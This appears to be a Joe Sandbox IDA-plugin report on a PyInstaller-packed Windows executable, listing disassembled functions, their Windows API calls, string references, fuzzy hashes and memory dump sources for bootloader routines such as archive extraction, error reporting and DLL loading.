Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: 5c1501fd4293f7a3c918412f29b879e5d6b3ba4b5e5a60b09422bc10f7a4dc6e
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: B5219C61B0CA4281E7456B79E854979E360FF84BA0FB84131DA6D837D4FE2CDD99C322

Function 00007FF78DA66300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA66343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA66730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA669CC

Strings

p, xrefs: 00007FF78DA6646D
f, xrefs: 00007FF78DA66465
:, xrefs: 00007FF78DA664FC
p, xrefs: 00007FF78DA663F5
-, xrefs: 00007FF78DA663D9

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 2f09ab37ec8a5d9d360f20b8152a4283d9ab92a0d30c295a8c4fbd3103b4be02
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: E512A366A0C143C6FB247A95B104A79B699FB40750FFC4075E69B466C8FB3CED48CB22

Function 00007FF78DA61038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA61078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA61440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA616DF

Strings

p, xrefs: 00007FF78DA6111D
f, xrefs: 00007FF78DA61110
f, xrefs: 00007FF78DA612C5
p, xrefs: 00007FF78DA61182
f, xrefs: 00007FF78DA6117A

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 5413a2a50a40f4f475792f6c517f06c74adb1407dca3f8da31ad62c384d1417e
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 2E128265E0C183C5FB60AAD5B054A79AA61FB40754FF84035E799475C4EB7CEC88CB22

Function 00007FF78DA51050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF78DA51108
fseek, xrefs: 00007FF78DA510D3
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF78DA510CC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF78DA51098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF78DA511F6
fread, xrefs: 00007FF78DA511FD
malloc, xrefs: 00007FF78DA5110F

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 7e307792341f3e13bc35d069cd8d6eb008b40c51d7a157a29d78c9294da5d9b2
Instruction ID: 339ad4c7bbc1447afa356fbb6427857611bda8e2c7b5b4302ebb97d41c84e9e5
Opcode Fuzzy Hash: 7e307792341f3e13bc35d069cd8d6eb008b40c51d7a157a29d78c9294da5d9b2
Instruction Fuzzy Hash: CE415E61A0C65281EA10FB91E800DB9E3A0BF45B84FF44431ED4D47795EF3CE949C762

Function 00007FF78DA51470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF78DA51518
fseek, xrefs: 00007FF78DA514E5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF78DA514DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF78DA5149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF78DA515DF
fread, xrefs: 00007FF78DA515E6
malloc, xrefs: 00007FF78DA5151F

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 8171e7b2039391607633f9c15a315d45593e4c083ab96ebd05573d6ad0024e78
Instruction ID: 8cbe3c5390da168785e7f66b97b79bb2c6dbf31273a18dd801e5468cb0ed9784
Opcode Fuzzy Hash: 8171e7b2039391607633f9c15a315d45593e4c083ab96ebd05573d6ad0024e78
Instruction Fuzzy Hash: C3417161A0C64285EA10EBA1E4409B9F3A0BF44B94FF44832ED5E47795FF7CE949C722

Function 00007FF78DA5EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF78DA5EAD5

Part of subcall function 00007FF78DA5FA2C: __GetUnwindTryBlock.LIBCMT ref: 00007FF78DA5FA6F
Part of subcall function 00007FF78DA5FA2C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF78DA5FA94

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF78DA5EBAD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF78DA5EDFB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF78DA5EF08

Strings

csm, xrefs: 00007FF78DA5EAEF
csm, xrefs: 00007FF78DA5EBD0
csm, xrefs: 00007FF78DA5EB56

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction ID: 4b03814a30b0cb6eb511c5bc79a26d75081a068ba495d1804a838b4fd879bc75
Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction Fuzzy Hash: D0D1A03290C74186EB20ABA594417BDB7B0FB44798F700135EE4D97B96EF38E998C712

Function 00007FF78DA52C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF78DA53706,?,00007FF78DA53804), ref: 00007FF78DA52C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF78DA53706,?,00007FF78DA53804), ref: 00007FF78DA52D63
MessageBoxW.USER32 ref: 00007FF78DA52D99

Strings

%ls: , xrefs: 00007FF78DA52D22
<FormatMessageW failed.>, xrefs: 00007FF78DA52D70
Error, xrefs: 00007FF78DA52D8C
[PYI-%d:ERROR] , xrefs: 00007FF78DA52CA6

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: f032ea65fe3066be7d1780dba8e08a0c7fac72c363dd072e12fc81f345e5c7c7
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction Fuzzy Hash: 9A31C96370C64142E620BB65B804ABBA6A5BF887D8FA04135DF4D93759FF3CD90AC711

Function 00007FF78DA5DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF78DA5DFEA,?,?,?,00007FF78DA5DCDC,?,?,?,00007FF78DA5D8D9), ref: 00007FF78DA5DDBD
GetLastError.KERNEL32(?,?,?,00007FF78DA5DFEA,?,?,?,00007FF78DA5DCDC,?,?,?,00007FF78DA5D8D9), ref: 00007FF78DA5DDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF78DA5DFEA,?,?,?,00007FF78DA5DCDC,?,?,?,00007FF78DA5D8D9), ref: 00007FF78DA5DDF5
FreeLibrary.KERNEL32(?,?,?,00007FF78DA5DFEA,?,?,?,00007FF78DA5DCDC,?,?,?,00007FF78DA5D8D9), ref: 00007FF78DA5DE63
GetProcAddress.KERNEL32(?,?,?,00007FF78DA5DFEA,?,?,?,00007FF78DA5DCDC,?,?,?,00007FF78DA5D8D9), ref: 00007FF78DA5DE6F

Strings

api-ms-, xrefs: 00007FF78DA5DDDD

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: bd1efbf38f091a8b334d61de394ad97babc63a6ccb8261daaf0b93b224aed0a2
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: 08317221B1E642D5EE12EB52A800975A3A4FF58BA0FF94535ED1D87380FF3CE859C225

Function 00007FF78DA56350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF78DA563F7
LoadLibrary, xrefs: 00007FF78DA5649E
Failed to load Python DLL '%ls'., xrefs: 00007FF78DA56497
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF78DA56446
ucrtbase.dll, xrefs: 00007FF78DA563CD
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF78DA563B7

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction ID: 5c095a7f8edb46826f69add7f882c1d7a06fe95aeb58edee28593bcec0e75bdb
Opcode Fuzzy Hash: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction Fuzzy Hash: FA416021A0C68791EA11FB60E414AE9A335FB54344FF00132EA5D87696FF3CEA19C762

Function 00007FF78DA52A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF78DA5351A,?,00000000,00007FF78DA53F23), ref: 00007FF78DA52AA0

Strings

[PYI-%d:%s] , xrefs: 00007FF78DA52AA8
Warning [ANSI Fallback], xrefs: 00007FF78DA52B0F
0, xrefs: 00007FF78DA52B16
WARNING, xrefs: 00007FF78DA52AAF
Warning, xrefs: 00007FF78DA52B1E

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction ID: ade3b39e6dd314b315222d601eb3a598d108a925060bda253886a5704b20d8e8
Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction Fuzzy Hash: EF21837261C78192E620AB51B841BE6A3A4FB887C4FA00131FE8D83659EF7CD949C751

Function 00007FF78DA6B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF78DA6B1CF
FlsGetValue.KERNEL32 ref: 00007FF78DA6B1E4
FlsSetValue.KERNEL32 ref: 00007FF78DA6B205
FlsSetValue.KERNEL32 ref: 00007FF78DA6B232
FlsSetValue.KERNEL32 ref: 00007FF78DA6B243
FlsSetValue.KERNEL32 ref: 00007FF78DA6B254
SetLastError.KERNEL32 ref: 00007FF78DA6B26F

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 95e941e89c228e9c604249a81e4247bf93b8921c3316e711f137cef7aac77c3c
Instruction ID: cbb2f2b9afe6d498539cbfa3b5d5cce628e682acb9baf9ad2e5d582ad36f6b0f
Opcode Fuzzy Hash: 95e941e89c228e9c604249a81e4247bf93b8921c3316e711f137cef7aac77c3c
Instruction Fuzzy Hash: 51213C20E0D246C2FA587BB1665193EE1827F547A0FB44634D93E466D6FE2CEC49C323

Function 00007FF78DA77DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF78DA77E0D
GetLastError.KERNEL32 ref: 00007FF78DA77E19
CloseHandle.KERNEL32 ref: 00007FF78DA77E31
CreateFileW.KERNEL32 ref: 00007FF78DA77E5C
WriteConsoleW.KERNEL32 ref: 00007FF78DA77E7B

Strings

CONOUT$, xrefs: 00007FF78DA77E3D

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: 932e940a8bc74b9d8366c75af5f151f7cff9069e35c827afdcd25ff647f870ab
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: F3118471B1CA4186E350AB52E854739A2A0FB88BE4F740234DD9D877A4EF3CDD08C751

Function 00007FF78DA58560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF78DA59216), ref: 00007FF78DA58592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF78DA59216), ref: 00007FF78DA585E9

Part of subcall function 00007FF78DA59400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF78DA545E4,00000000,00007FF78DA51985), ref: 00007FF78DA59439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF78DA59216), ref: 00007FF78DA58678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF78DA59216), ref: 00007FF78DA586E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF78DA59216), ref: 00007FF78DA586F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF78DA59216), ref: 00007FF78DA5870A

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction ID: a4bfb56c5af357d41a21320795b8fefe1448f8cc05c531f7b99d497b9adb3d2c
Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction Fuzzy Hash: 5641A962B1D68241E630BB61A540AAAA3A4FB44BD4FB40135DF9D97B89FF3CD809C711

Function 00007FF78DA6B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF78DA64F81,?,?,?,?,00007FF78DA6A4FA,?,?,?,?,00007FF78DA671FF), ref: 00007FF78DA6B347
FlsSetValue.KERNEL32(?,?,?,00007FF78DA64F81,?,?,?,?,00007FF78DA6A4FA,?,?,?,?,00007FF78DA671FF), ref: 00007FF78DA6B37D
FlsSetValue.KERNEL32(?,?,?,00007FF78DA64F81,?,?,?,?,00007FF78DA6A4FA,?,?,?,?,00007FF78DA671FF), ref: 00007FF78DA6B3AA
FlsSetValue.KERNEL32(?,?,?,00007FF78DA64F81,?,?,?,?,00007FF78DA6A4FA,?,?,?,?,00007FF78DA671FF), ref: 00007FF78DA6B3BB
FlsSetValue.KERNEL32(?,?,?,00007FF78DA64F81,?,?,?,?,00007FF78DA6A4FA,?,?,?,?,00007FF78DA671FF), ref: 00007FF78DA6B3CC
SetLastError.KERNEL32(?,?,?,00007FF78DA64F81,?,?,?,?,00007FF78DA6A4FA,?,?,?,?,00007FF78DA671FF), ref: 00007FF78DA6B3E7

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6d8f3e74ebbb6b3e9df47af100808aa7e96d944c008937dd2b032c21f4d9a902
Instruction ID: 75ae331f81973749785d7110250b2a3d77656eeac37c8763a39ec9aa3e57d55d
Opcode Fuzzy Hash: 6d8f3e74ebbb6b3e9df47af100808aa7e96d944c008937dd2b032c21f4d9a902
Instruction Fuzzy Hash: 76110B21B0D642C2FA5477A1669193DE1427F54BA0FB54734E92E46BDAFE2CEC09C323

Function 00007FF78DA52910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF78DA51B6A), ref: 00007FF78DA5295E

Strings

Error [ANSI Fallback], xrefs: 00007FF78DA529FF
Error, xrefs: 00007FF78DA52A0E
[PYI-%d:ERROR] , xrefs: 00007FF78DA52966
%s: %s, xrefs: 00007FF78DA529E8

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: 668c0d01dedc40ac439819db53dc15fc49a226969ffbb4f99fb4b8c00e0ed1ff
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: 7531B763B1C68192E710B7A1A8409F6A2A4BF887D4FA04131EE8D83759FF7CD94AC611

